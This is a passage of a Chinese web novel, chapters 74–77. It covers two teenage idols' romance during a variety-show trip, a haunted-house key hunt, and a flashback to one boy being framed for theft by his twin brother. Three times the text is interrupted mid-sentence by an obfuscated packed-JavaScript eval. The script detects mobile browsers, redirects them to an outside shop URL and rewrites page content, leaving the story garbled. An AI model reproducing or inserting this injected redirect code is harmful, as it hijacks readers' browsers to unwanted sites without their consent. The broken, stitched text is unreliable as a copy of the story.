和旗鼓相当的人弹琴是一件享受的事,池丰的速度变快,孔栩意识到立即追上,两人与其说是在弹,不如说在玩,手指们在琴键上舞蹈着,不仅动听,且格外赏心悦目。 弹罢,孔栩意犹未尽,问池丰:“哎,你会不会——” “小木鱼。”邱以星打断孔栩的话。 孔栩扭头,不解地看他:“怎么了?” 邱以星有些难受地说:“你带了消食片吗?我胃吃得有点撑。” 孔栩闻言立即起身,朝自己放行李箱的房间走去:“我去找找。” 邱以星跟过去:“我跟你一起。” 孔栩快步走在前面,他不太记得自己有没有带,嘴上说着:“我要是没带,问问节目组有没有,没有就去附近药店买一盒,你干嘛非把自己吃撑,很难受吗……” 他话没说完,邱以星一把抓过他的手臂,将他推进房间,反锁房门,低头堵住了他的嘴。 灯甚至都没开,邱以星在他嘴上有些重地咬了一口,末了又轻轻碰了碰,孔栩惊得连呼吸都忘了,瞪大眼睛看他。 “弹一首就得了,”邱以星摩挲着他的后脑,有些恼地说,“你没发现他总是阴魂不散地缠着你吗?谁知道他在打什么鬼主意。” 孔栩仰脸笑着说:“你吃醋啊?” 邱以星:“严肃点,不许这么嘻嘻哈哈的。” “他对我就一陌生人,后天录完我们就走了,不会有什么交集的,”孔栩抱着邱以星,抚摸他的后背,“快点回答我,你吃醋了吗?” 邱以星:“嗯。” 孔栩嘴角的笑容更甚,他揉了揉邱以星的脸:“原来是这样,你早说啊。” 邱以星被他揉得不耐烦,抓起他的两只手,使劲亲了几口才罢休。 “走吧走吧,”孔栩牵他的手,嘴上甜,心里更甜,“外面等着呢,他们说一会有个小游戏要玩。” “哈?什么?‘夜探鬼屋’,亏你们想得出来!到底是游戏还是整蛊?”陆笑蓉抱着黄色毛绒抱枕,打了个哆嗦,随即又恍然大悟,“哦,我知道了,导演,是不是有剧本?剧本在哪?” 孔栩回来就听见陆笑蓉在一惊一乍,导演说他们接下来要去附近的一栋三层小楼寻找钥匙,能不能找到钥匙决定他们晚上住所的分配,先找到的人可以选择室友,被挑剩下的只能去住又闷又热的阁楼。 而所谓的“鬼屋”是导演从岛上的人那儿听来的,说是很久之前楼里闹过鬼,住在那的人无一例外地搬走,以至于这些年一直空置在那,平时就算是大白天也不会有人进去。 陆笑蓉听完,举手说:“那个,我弃权行吗?我要求主动住阁楼。我宁愿热一晚,也不想撞见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222413|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼。” 导演一听,嘴角抽搐两下,摇头:“那可不行。” 孔栩后背的鸡皮疙瘩都冒了出来,他吞了吞唾沫,看了邱以星一眼,眼中既有期待又有恐惧:“真的有鬼吗?” “怎么可能,吓唬你呢,”池丰这时走过来,用手掩着嘴对他说,“都是糊弄人的东西。” “哦。”孔栩点点头,往邱以星胳膊旁靠了靠,池丰又说:“哎,你说,我们要不组个队吧?如果我先找到钥匙,选你当我室友。” “啊?”孔栩头摇得跟拨浪鼓似的,他抱紧邱以星胳膊,“不用了,我有队友和室友。” 池丰不死心,似乎还想说,被邱以星高大的身躯隔开,邱以星冷淡地说:“让一让,小木鱼,我们先过去吧。” 池丰只好侧过身,让他们先行离开。 路上孔栩对邱以星嘀咕:“你觉不觉得这个池丰还挺可怜的,Shamash内部好像是不太合,他怎么不选他组合里的人当队友?” “你那么关心他干什么?再可怜也不归你管,”邱以星说,“把你的同情心收一收。” “哦,”孔栩找到了乐子似的,“你又吃醋了。” “没错,”邱以星大方承认,“你最好别跟他说话,我看着烦。” 孔栩撇嘴:“是他找我,又不是我找他。” 邱以星:“我教你,下回他来找你,你让他滚远点。” “那也太没礼貌了。”孔栩说完这句,邱以星登时脸往下一拉,很不爽,孔栩补充说,“我‘请他走远点’?” 邱以星的嘴角朝上翘了翘,硬生生忍住:“这还差不多。” 一行十人进入灯光晦暗的小楼,他们进去后,有三位摄影师跟拍,固定机位已经提前架好,他们一进门就找到了好几个,心里顿时安定下来,肯定是节目组白天趁他们去海钓的时候布置的,真是故弄玄虚。 孔栩专注地找钥匙,钥匙就那么丁点大,他们寻找的范围却如此之广,时间就给他们两小时,两个小时能干什么?还不够他们搜完一层的。 “你们找着,”孔栩听见有人说话,他回头,见尹睢之抱着双臂往躺椅上一躺,“困了,我睡会儿。” 孔栩瞠目结舌,他下意识看了眼班凌,班凌握紧拳头忍无可忍,眼不见心不烦地往尹睢之脸上扔了本书:“你是猪吗?吃饱了就睡!” “就当我是吧,”尹睢之懒洋洋的,抬手接住书,罩在自己脸上,对“猪”的称呼没有半点生气,“小声点,走的时候记得叫我。” 其余三人没说什么,对此见怪不怪,仿佛这种事已经发生过无数次,说了尹睢之也不听,白费口舌而已。 Shamash里认真找钥匙的估计就班凌和池丰这两位,韦滨和叶子白更像是来打酱油的,手揣着兜,打量屋子的装潢。 反观孔栩他们,每个人都翻箱倒柜,认真得不行。 这时,导演见他们毫无头绪,给了一条提示: “镜子。” 75. 第 75 章 镜子? 他们火速去找楼里的镜子,发现所有镜子要么固定在墙上,要么粘在桌上,无法挪动。 陈颂托着下巴,眉头紧锁:“墙后面不会有什么猫腻吧?比如说密道什么的。” 班凌盯着其中一面挂在墙上的镜子盯了半天,嘴里发出“啧”的一声。 孔栩连忙凑过去问:“发现什么了没有?” “我脸这边是不是长了个痣?”班凌几乎把脸贴在镜子上,使劲扒拉着自己脸上的一块皮肤,眨巴眨巴眼睛,满心疑惑,喃喃道,“昨天我没见着,一夜之间冒出来的?真是奇了怪了。” 孔栩:“……” 陆笑蓉全程紧跟在夏桃杉身后,寸步不离,生怕一不留神就被角落里潜伏的鬼抓走。 孔栩继续琢磨,邱以星不喜欢照镜子,刻意站得远了些:“在想什么?” “在想他们是什么意图,这些镜子大的大,小的小,摆放的位置又没有规律,”孔栩说,“我看半天了,墙上都干干净净的,一点痕迹没有。” 他伸手摸了摸镜子,冰凉光滑,没有任何异样。 “光线这么亮,没道理什么都看不见啊。”孔栩低语,沉思片刻,走到开关前,伸手“啪”地关掉了电灯。 全场寂静无声,陆笑蓉刚要一嗓子嚎出来,随后看见的景象令她又闭上了嘴。 镜面上竟然浮现出一道绿色的荧光箭头,每个镜子上都有,这些箭头蜿蜒回环,最后指向朝向三楼的第一个房间。 池丰率先回过神,黑灯瞎火地就箭步冲向三楼。 孔栩慌忙打开灯,抓起邱以星就往楼上奔过去,生怕让池丰抢占了先机。 “节目组真是太鸡贼了。”孔栩说。 邱以星接在后面:“没错,都挺鸡贼的。” 陈颂认同地点头:“地点缩小了,抓紧时间找吧。” 这屋子是一间面积约有三十平米的卧室,连通着书房。卧室和书房也是普普通通的样子,书房的书架上摆放着许多陈旧的书籍,乱七八糟什么种类的都有,中间有一张长方形的书桌,桌上有台灯、纸笔等毫无特色的事物。 九个人在三十平米的地方找一把小钥匙,难度一下就降低了许多。 他们争分夺秒,几乎要把地板都刨个底朝天,池丰走到孔栩跟前,对他说:“还是那句话,如果我先找到,我会选你当我的室友。” 孔栩烦得不行,他找半天没找到,池丰叽里呱啦怎么就缠着他说些莫名其妙的事,他低声问:“我到底怎么着你了,上辈子救过你的命?” 池丰笑了笑:“看你有眼缘。” “别了吧。”孔栩转头看见邱以星正弯腰用手电查看床底,心虚地往旁边走了两步,“我对当演员不敢兴趣。” 摄影师站在门口,孔栩无意识扫了他们一眼,心说,他们怎么不进来拍呢? 哦,对,屋子里有固定机位。这个念头飞快从他心间划过,紧随其后,像是一束烟花,把他的脸照亮了。 他在屋子里仔仔细细巡视一圈,然后拿起书桌上的一个小笔筒,晃了晃,里面没有东西,倒转过来,发现一枚小小的钥匙黏在笔筒底部。 孔栩松了口气:“我找到了。” 终于找到钥匙,能离开这个鬼地方,大家都显得很高兴。 到了选室友环节,孔栩自然选自己的小伙伴,把这一段录完,尹睢之没有附体的魂仿佛才回来,他打了个哈欠:“这样总行了吧,我去睡觉了,谁也别来打扰我。” 说完他施施然地推开楼上的房间睡觉,而非没有空调的阁楼。 望见孔栩疑惑的眼神,陈颂低声解释说:“不可能真让他们睡阁楼的,游戏嘛,不用那么当真。” 孔栩恍然大悟地“哦”了一声。 难怪尹睢之全程都不在状态,孔栩想,果然是综艺老手,真真假假这一套他们玩得真熟练。 另一边的池丰梦想破灭,班凌捏了下他肩膀,似乎在对他表达安慰。 池丰不置可否地耸了耸肩,班凌说:“……要不找他要个微信号试试?” “我看还是算了吧。”池丰看了不远处的孔栩一眼,笑着摇了下头,“旁边护着跟什么似的,碰好几鼻子灰,让我缓缓吧。” 班凌便不再多说:“那你缓吧,我也去休息了。” 池丰点点头,目送班凌离开,他想了想,还是走到孔栩身边,问他:“你是怎么突然想到钥匙在那的?” 孔栩已经跟邱以星解释过一次,他觑了邱以星一眼,邱以星幅度轻微地点了下头,孔栩便说:“哦,很简单,屋子里的固定机位有五个,笔筒就在其中一个的正前方,我倒着推理了一下。” 池丰总算明白了,他嘴角露出一个释然的笑:“原来是这样。” 孔栩朝他摆摆手:“那我们先上去了,明天见。” “明天见。” 众人住在民宿的二楼,一个房间两张床,打开窗户能看见夜晚的大海,浅浅的海浪声冲刷着沙滩,一轮满月升至高空,照得窗台发白。 孔栩坐在窗台上,他朝邱以星招招手:“邱以星,你快来看,好大的月亮。” 邱以星走过去,把孔栩抱在怀里,下巴点在孔栩的脑袋上,跟他一起看月亮。 两个人都安安静静的没有说话,许久,邱以星揉了一下孔栩的耳垂:“在想什么?” 孔栩却摇了摇头,轻声说:“没想什么。” 他完全放空大脑,平日里要做的要想的事太多,忽然看见这样一轮月亮,那些繁琐至极的事顿时飘然远去,他心无杂念,澄净一片,此时此刻竟然给了他一种“天荒地老”的错觉。 邱以星沉默了片刻,然后说:“小木鱼,回去后,我可能就不住你那了。” 孔栩愣了愣,回头看他:“嗯?” 邱以星:“我妈她身体出了点小毛病,我想回去看看她。” 孔栩心里有些舍不得,嘴上却说:“那肯定要回去啊,阿姨严不严重?有什么需要我帮忙的尽管提。” “我不太清楚,她没跟我说。”邱以星把孔栩搂紧,声音低低的,“等我们上了大学,一起买套房子吧。” 孔栩的眼睛立即亮了:“买什么样的房子?” “什么样的都行,”邱以星说,“有这样的窗台,我们每天都可以一起看月亮。” 孔栩深深地吸了口气,对美好生活的向往令他情不自禁地开始幻想那时的情景。 真的要和邱以星住一起了?他会和邱以星有一个房子,真正属于他们的,永远不用担心别人将他赶出家门,没有房东的打扰,可以按照他的喜好布置的,完完全全属于他们的房子。 “那你可要加油了,”孔栩认真地看向邱以星,“你得跟我考上一所大学,再不济也得在同一所城市,不然就不方便住一起了。” 邱以星牙疼地咧了下嘴:“呃,我努力。” 孔栩皱起眉,想了半天,觉得凭借邱以星的努力还是有点悬:“这样吧,每天你抽一个小时间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226879|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我给你讲题,现在就开始抓。高三下半年再让项姐通融通融,少接点活,让你专心复习……邱以星,你有没有发现时间过得特别快,感觉我们才刚上高一呢,转眼间高二就要过一半了,人生,真是恍然如梦,放在十年前我肯定无法想象我如今过着这样的生活,我本来以为我会一条路走到黑,所以不到最后不能轻易下结论啊。” 邱以星听他一个劲的嘚啵嘚,笑了笑,没忍心打断,等孔栩喘着气停下,邱以星将他打横一抱,放在床上,跟他躺在一起:“睡觉吧,别想了,睡前想东想西容易做噩梦。” “哦,对了,”孔栩听他这么说,转身问道,“你现在还做噩梦吗?” 谁这辈子没做过几个噩梦呢?可邱以星的噩梦实在太频繁,频繁到他宁愿不睡觉也不要做梦。 他跟孔栩住一起的时候总是最先睁眼的那个,孔栩问他为什么不睡懒觉,他说自己做了个不好的梦,没有继续睡懒觉的心情。 邱以星为了不让孔栩担心,说了个无伤大雅的谎:“不怎么做了。” “那就好,”孔栩歪在他怀里,自顾自地说,“日有所思夜有所梦,做噩梦是精神压力太大了,公司除了给我们做日常培训外,还应该给我们找找心理辅导,改天我找陈颂跟他提一下吧。” 邱以星“嗯”了一声,呼吸声渐轻,孔栩便不再说话,他内心仍然处在邱以星说以后要一起买套房子的激动中,带着这样的激动,做了个格外美的梦。 第二天的录制安排是清理沙滩上的垃圾,并就此提出环保倡议。 这不是一件轻松的活,孔栩却干得特别卖力,像是打了鸡血似的,拿着夹钳一路跑一路捡,谁都追不上,脸被晒得通红,额头上满是汗。 “真有干苦力的天赋,”陆笑蓉远远地望着孔栩积极的背影,感叹说,“他真的不管干什么,都能干出花样,干出水平。” 陈颂:“还有心思说废话,要不我们来比比谁捡得多。” 陆笑蓉:“谁输了谁就汪汪叫两声。” 陈颂:“好!” 一旁的夏桃杉无奈:“你跟她较什么劲……” 话没说完,这两人便火速分头去捡垃圾,卖力程度丝毫不逊于孔栩。 晚上,沙滩上架起篝火,他们围坐在篝火旁开了个小型的派对,作为此行的结尾。 火光映亮他们的面孔,他们开始自发地表演才艺,有人唱抒情歌,还有人跳着火辣的舞蹈,现场传来一阵阵欢呼与喝彩。 池丰抱着一把吉他,边弹边唱,他唱完后,把吉他递给邱以星:“你也来一首吧。” 邱以星摆了下手:“我不会弹吉他。” 这么干脆利落地拒绝令池丰脸色霎时间变得不太好看,他说:“你是在开玩笑吗?你可是众所周知的吉他手。” 气氛一下就冷了下来,其余人的目光齐刷刷地看过来。 孔栩张口给邱以星解围:“他没开玩笑,他后来很少弹吉他,怕弹得不好。” 池丰像是跟他杠上了似的,步步紧逼:“又不是参加什么音乐比赛,有什么怕弹得不好的,来首简单的总可以吧?藏着掖就没什么意思了。” 邱以星仍旧没有动作。 孔栩见他实在为难,伸手去接池丰怀里的吉他:“我来,徐老师还夸过我吉他弹得不错,你想听什么?随便点。” 然而半途却横插过来另外一只手将孔栩的手轻轻一拨,那只手抢先拿过吉他,邱以星正了正神色,说:“那我弹一首《童年》吧。” 76. 第 76 章 “从今天开始,你叫邱以星了。”一个陌生女人牵着他的手,将他送进一辆黑色的轿车,“这名字好不好听?我和爸爸想了很久呢。” 年仅七岁的邱以星泪眼朦胧,透过车窗死死盯着那间乡下的小平房,抱着双臂,执拗地不让任何人靠近:“我叫邱涟,我不要换名字!” “那个名字起得不好,哪有男孩子成天到晚哭哭啼啼的,你奶奶胡乱起的小名,你总要有个响亮的大名啊。”女人柔声对他说,“你别看了,奶奶生了重病,这段时间一直在医院,她不能再照顾你了。以后你跟我们一起住,我们一家人再也不分开,好不好啊?” 平房越来越远,他看不见了。 邱以星根本不想听她讲话,注意力一直涣散着,过了一会儿,他的视线逐渐聚焦,看见同样坐在后座的,还有另外一个小男孩。 小男孩穿着一套干净的橙白色的运动套装,脚上是一双同色系的运动鞋,鞋底干净,没有一丝一毫的泥泞。 反观邱以星,随意地套着一件灰扑扑的马甲,裤子也是脏兮兮的,膝盖上有两个显眼的洞,也不知在哪蹭的,鞋就更不用说了,小了一码,挤得他脚疼,他走路时只好将大脚趾蜷缩起来,以至于走路姿势很不好看。 看见这一切,邱以星并不感到自卑,他只是好奇,为什么这个小男孩跟他长得一样。 不,像是被洗去所有尘埃更洁白的他,更优雅的他,更骄傲的他。 面黄肌瘦的邱以星眼睛圆溜溜地一转,指着小男孩问:“你是谁?” “这是你的双胞胎哥哥,邱以睿。”女人回头解释,“睿睿,跟弟弟打个招呼。” “你好,弟弟。”邱以睿笑了,他的笑容仿佛能够融化所有积雪一样温柔,邱以星怔了怔,张口说:“哥哥……” 邱以睿很是热络地搂住邱以星的肩膀:“没错,我是哥哥,我们一起回家。” 女人见他们相处融洽,笑着微微松了口气,坐在驾驶座上的男人说:“这哥俩简直长得一模一样,根本分不清谁是谁。睿睿,弟弟回来,你终于有个伴了,高不高兴啊?” 邱以睿干脆地回答:“高兴!” 邱以星回到了他们口中所说的“家”。 城市里高楼林立,来往车辆奔流不息,邱以星仰头望着眼前新奇的一切事物。 除了感到新奇,他内心也充满了忐忑,紧紧地跟着所谓的“爸妈”和“哥哥”,他们把车开进地下车库,妈妈说:“睿睿,你带着弟弟先回家,我和爸爸去超市给弟弟买些生活用品,很快就回来。” 邱以睿乖巧地点点头,牵着邱以星的手下了车,他们站在墙边跟父母挥手,等车开得没影后,邱以睿扭头对邱以星,仍然用那春风一般的笑容说:“弟弟,你喜欢玩游戏吗?” 邱以星不解:“什么游戏?” 邱以睿说:“你看地库这么大,是不是正好可以玩捉迷藏?” 邱以星并没有玩乐的心思,魂不守舍的,呆呆望着邱以睿。 “玩吧,”邱以睿蛊惑般地开口,“弟弟要听话哦,爸爸妈妈喜欢听话的小孩。” 邱以星:“……哦。” 邱以睿两只小手捂住眼睛:“现在我闭上眼睛,给你一分钟的时间找地方躲起来,一分钟后我来找你。开始。” 邱以星转身就跑,地库简直太大了,比他学校的操场还要大,里面停放着各种各样的车,看得他眼花缭乱,分不清东南西北。 邱以睿的声音仍然在持续:“31,30,29……弟弟,我捉人很厉害的,你要藏好哦。” 邱以星咬咬牙,继续往里跑,他爬进一辆车的车底,头枕在双臂上,静静等待邱以睿来找他。 过了很长时间,邱以星一直没能找到他。 邱以星有些得意地想,哼,哥哥一定是在吹牛,根本就没有他说得那么厉害。 他等啊等啊,周遭的光线越来越暗,邱以星渐渐有些不耐烦起来,可他的胜负心上来了,不愿意跑出去让邱以睿抓到,于是继续躲在车底。 一直到晚上八九点,趴在地上已经睡熟的邱以星被他爸妈从车底揪了出来。 尚问兰双目通红,疯狂地朝他大吼:“你这个孩子到底是怎么回事,就这么不想跟我们回家吗?不是跟你说了,奶奶病了,她病了!以后你必须跟我们住在一起,你以为躲在车底就行了吗?你能不能搞清楚现状,学学哥哥,懂事一点好不好?” 邱以星愣愣地站着,完全忘记解释,邱远张了张嘴,最后用大手草草摸了下他的头:“别站着了,回家了。以后不要这样一个人偷偷躲起来,爸爸妈妈会很担心的。” 全程邱以星一声没吭,他没有哭,没有闹,什么都没有做。 邱以星跟着他的爸妈走进家门,邱以睿一下冲过来抱住他,很小声地在他耳边说:“对不起啊,弟弟,我没有找到你,就跟爸爸妈妈说了,你没有生我的气吧?” 邱以星摇头。 邱以睿很热情地带着他把家里大大小小的地方都逛了一遍,告诉他:“这是爸妈的房间,这是卫生间,马桶你会不会用?我看见你之前住的地方没有马桶,都是蹲着上茅厕,又脏又臭的,这跟你之前住的地方可不一样,你千万要记得冲水啊。还有,阳台这些花是我和妈妈一起养的,你喜欢哪一盆,我送给你。” 邱以星又摇头。 这些花看着都没有村门口的野花好看,养在盆里长得又细又小,邱以星并不喜欢。 最后邱以睿带他来到他们的房间:“你看,这是爸爸妈妈给你准备的房间,我之前一个人住这,你来了我就有了伴,不再孤单啦。你的床和我的一样大,床上用品都是新的,欢迎你来到新家。” 他领着邱以星给他介绍书架上的各种书籍,像一个敬业的导游:“这是我小时候最喜欢的绘本,这是我最喜欢的书,你都可以拿去看。你看,我的赛车是不是很酷,它们跑得可快了,你要不要玩?” 邱以星对此索然无味,不感兴趣。 邱以睿还想对他说什么,邱以星打断他的话:“哥哥,我想洗澡。” “你去洗吧,睡衣在衣柜里,左边是你的衣柜。”邱以睿说。 邱以星便抱着睡衣去洗澡,浴室里贴着洁白的瓷砖,他赤脚踩在瓷砖上,冻得打了个哆嗦。 他低头看着淋浴龙头,伸手一拧,上方的喷头瞬间冲出冰冷刺骨的水,浇得邱以星又连忙关上龙头。邱以星不会用这种东西,只好用毛巾沾着冷水,把身上擦洗一遍,洗完澡,他身上最后一丝热量也消失殆尽了。 熬过最初的几天,尚问兰告诉他要去上学,虽然他没有读过幼儿园,但是一年级的内容不难,哥哥总是班级第一,他肯定差不到哪里去,如果有不会的地方,就让哥哥教好了。 他进入邱以睿的班级就读,邱以星抚摸着崭新的课本,内心油然而生出一股对知识的敬畏与憧憬,他想,他要好好学习知识,奶奶告诉他只有好好读书,以后才有出息。 邱以睿在班级里是个众星捧月的“小明星”,一下课大家会争前恐后地涌到他桌边跟他玩,老师不准在教室里跑来跑去,他们会带飞行棋或者各种课外读物来教室,邱以星总能听见他们叫邱以睿的名字:“邱以睿,我们一起看《青蛙冒险记》好不好?” “邱以睿,体育课能不能和我打乒乓球?你上回答应过我的。” “邱以睿,上节课棋没下完,我们接着下吧。” “邱以睿……” “这位是我的双胞胎亲弟弟,”邱以睿拨开围在他身旁的众人,来到邱以星身边,给其他人介绍说,“你看,我们长得一模一样。” “真的一模一样啊!”小朋友惊呼,他们对沉默寡言的邱以星感兴趣极了,不再拜托邱以睿跟他们玩,反而拉着邱以星的手,此起彼伏地问他,“你真的是邱以睿的弟弟吗?” “你是生病了吗?怎么现在才来学校?” “邱以星,你乒乓球是不是打得跟邱以睿一样好啊?” 邱以星的声音小小的:“我不会打乒乓球。” “那你一定看了很多本书吧,像邱以睿那样博古通今,什么知识都知道。” 邱以星迷茫地说:“我没有。” “啊……那你会什么呢?” 邱以星说到这里,脸已经红了,不好意思地小声说:“我都不会。” 小朋友们发出童言无忌的声音:“哇,那你好笨啊,怎么什么都不会,你真的是邱以睿的弟弟吗?” 邱以星咬着嘴唇,低头不说话。 “不要这么说我的弟弟,”邱以睿叉腰说,“他刚来,不太习惯这里,你们可不要欺负他。” “知道了知道了,邱以睿,放学后我请你吃炸面筋,你记得明天带赛车给我玩啊。” 邱以睿比了个“OK”的手势,干脆答应:“没问题。” 天真单纯的小朋友还长成势利眼的大人,跟谁玩,不跟谁玩全凭借自己的喜好,大家会崇拜邱以睿,因为邱以睿知识渊博,是成绩优秀的班长,所以跟风追捧他。过了一段日子,大家发现那个跟邱以睿长得一模一样的邱以星十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230733|194219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分有趣。 首先,他竟然会用草编出各种各样的植物和动物,蚂蚱蜻蜓还有小鸟,活灵活现,简直能够评为他们班级的“巧手大王”。 其次,邱以星是个乐于助人的人,特别好说话,谁丢了东西都可以找他借,不还也没关系,特别讲义气。 最后,他成绩特别差,永远垫底,谁都能对他发出嘲笑,而他总是老好人似的报以傻笑,跟他那个高高在上的哥哥一点也不一样,真的太有趣了! 班里同学更喜欢跟邱以星玩了,他虽然不会打乒乓球,可学起来很快,不吝啬地给所有人编他们喜欢的东西,遵守纪律,亲切又善良,连老师都夸他说,除了成绩,样样都好。 “除了成绩,样样都好”的邱以星有天回家发现自己的书包里出现了一块新橡皮。 他没想太多,以为是妈妈给他换的新的。 过了几天,他又从书包里找出一支钢笔,钢笔一看就非常贵重,拿起来沉甸甸的。 邱以星问邱以睿:“哥哥,这是你的钢笔吗?” 邱以睿“唔”了一声,看他一眼:“不是。” 邱以星不知道这笔怎么会出现在自己的书包里,他说:“那我明天交给老师。” 邱以睿:“你自己用着呗,说不定是谁送你的。” 邱以星诧异:“送我为什么不当面送?” “有些人当着面不好意思嘛,”邱以睿托着下巴对他说,“你找找有没有小纸条。” 邱以星在书包里果然找到一张小纸条,上面歪歪扭扭地写着一行字:邱以星,这支笔送给你,祝你好好学习,天天向上。 竟然真是送给他的,邱以星平时总是送这个笔送那个尺子橡皮,还从没有人送东西给他,他一时高兴,忍不住笑了,虽然不知道是谁送的,但他心里是真高兴。 一年级还在练字的阶段,都是用铅笔写作业,不过邱以星还是迫不及待地拿出那支精美的钢笔,他下课时在桌上涂涂画画,这时一个跟他玩得很好的同学忽然停下脚步,震惊地张大眼睛,问他:“邱以星,这支笔……” “别人送我的,好看吧?”邱以星得意地说,“给你看一眼。” “不是啊,”同学拿起笔仔细查看一番,面色变了,“这、这分明是我的笔,是我爸爸从国外给我带回来的!笔帽这里还有我做的记号,我找了好几天了,怎么会在你这里?!” 邱以星一下站起身,面红耳赤地辩解:“这不是……这是别人送我的!” “你就是个小偷!”同学猛地一推他,夺回钢笔,大声斥责他说,“这就是我的笔!” 邱以星的眼泪在眼眶里打转,身边已经聚集一圈人,他仍是喃喃说着:“这是我的……我有小纸条……” 他翻书包找小纸条,可是小纸条早已不翼而飞,他这样的举动更像是此地无银三百两,实在是难看极了。 随后有人弱弱地开口说:“我之前丢了一块新橡皮,邱以星的那块跟我的一样……” “邱以星,你怎么偷拿别人的东西啊?” “邱以星是小偷!” 邱以星百口莫辩,这件事被人打小报告给了班主任,他把邱以星叫到办公室询问具体情况,大家都指认邱以星偷拿东西,邱以星没有证据,将头深深地垂了下去。 “如果你有什么想要的东西,可以跟爸爸妈妈说,不要把别人的东西偷偷带回家,这样很不好。”老师对他说,“这件事我会跟你爸妈反映,希望不要再有下一次了。” 尚问兰回家劈头盖脸地骂了他一顿,邱远在旁唱白脸,邱以星哭着说:“真是不是我拿的。” “不是你拿的为什么在你书包里?送你的?亏你也想得出来!”尚问兰气得嘴唇发白,“我缺你吃的还是缺你穿的?我不求你像睿睿那样成绩好,可最起码要是个正直懂事的孩子!你怎么会想着偷人东西!你这么小就知道拿人家那么贵重的笔,长大了还得了?真不知道你奶奶是怎么教你的!” 邱以星死死咬着嘴唇,瞪着尚问兰:“我没有偷!我不是小偷!” “你还敢顶嘴!”尚问兰随手抄起扫地的扫帚,在他屁股上打了好几下,邱以星屈辱地嚎啕大哭。 邱以睿在旁拉着尚问兰:“妈妈,你别打了,他知道错了。” 邱以星一边哭一边说:“你不信可以问哥哥,他看到了小纸条……看到了……” 尚问兰打人的手隐隐发麻,气喘吁吁地问邱以睿:“睿睿,你真的看到了?” 邱以睿眼神闪烁了一下,嗫嚅道:“……我没有。” 77. 第 77 章 邱以星也是很久之后才慢慢反应过来,邱以睿其实并不是真的欢迎他的到来。 班里同学大部分都报了几个兴趣班,篮球羽毛球游泳拉丁古筝之类的,邱以睿那会在学吉他。 尚问兰给他买了一把吉他,邱以睿每天晚上回家,邱以星写作业的时候,他就在旁边弹吉他。 邱以星很羡慕他这么自由自在,偶尔跟着一起哼,邱以睿看见他不安分地坐在椅子上,屁股下面像是长了钉子似的,抓耳挠腮偷偷瞄他。 “邱以星,你想不想学吉他?”邱以睿盘着腿坐在床上,手指在琴弦上划过,笑吟吟地看着他。 邱以星闪过一瞬的心动,他想说,我想学。 话在他喉咙里上下滚动,最后被他咽回肚子,邱以星说:“一点也不想。” 邱以睿是个极其聪明的人,做任何事都做得滴水不漏,让人找不出他的丝毫错处,末了,还会让人反省自己是不是哪里做得不对,冒犯到他。 他不止一次感受到邱以睿对他的恶意,一开始他以为是自己太敏感,后来才知道这些并不是自己的错觉。 邱以星变得越发沉默,在班级也没有要好的朋友,长大后,大家拉帮结派的现象变得普遍,邱以睿当着他的面让大家不要打扰他,他喜欢一个人呆着,邱以星没有解释,他知道越解释邱以睿会越不高兴,只好沉默。 “真的,我教你,你之前不是学过几个月钢琴?听少年宫的人说,你还被音乐老师夸是‘小神童’,你应该很喜欢音乐,对不对啊?”邱以睿循循善诱。 邱以星把笔放在一边,终于大大方方地回头看他:“你想让我做什么?” 邱以睿没想到邱以星竟然这么上道,也不瞒着他:“我想翘掉周五下午的课,你能不能穿我的衣服替我去上课?” 邱以星犹豫几秒钟,说:“他们会认出来的。” “不可能,你坐在我的座位上就好了,就说身体不舒服,趴两节课,老师不会过问的。”邱以睿身体往前倾,目光灼灼地望着他,“怎么样?” 邱以星“哦”了一声,答应了:“好,你可得说话算话。” 邱以睿微笑:“太好了,你真是我的好弟弟。” 周五下午,第一节课后,班主任给尚问兰打去一通电话:“邱以睿妈妈,邱以睿下午什么情况,怎么还没来学校,也没有请假,出什么事情了?” 尚问兰一脸懵,她说:“老师,是我们家邱以睿吗?他不可能无故逃课啊。是不是您认错了,是邱以星没去学校啊?” 老师没好气地说:“这哪能有错,邱以星不正老老实实在自己的座位上坐着呢吗?他一上课目光就呆滞,我还能认错?” 尚问兰急忙说:“好的,老师我知道了,我就去找他。” 老师问邱以星知不知道邱以睿去哪儿了,邱以星仰头看着天花板,仿佛在思考某件极为高深莫测的事,半晌后,他慢悠悠地说:“他说想翘课,去了什么地方,他没告诉我。” “你先回去吧。”老师无奈地摆手。 邱以睿一回家,就知道自己暴露了,好在尚问兰没怎么说他,只当他压力大,出门散散心,并对他说下回要是不想上课,要先告诉家里人一声,爸妈会帮他请假的。 邱以睿连声答应,脸上挂着愧疚的表情,回到房间后,面色陡然变化,他紧紧咬着牙,两手重重捶在自己的书桌上。等邱以星回家后,他打开房门对邱以星说:“陪我下去买点水果。” 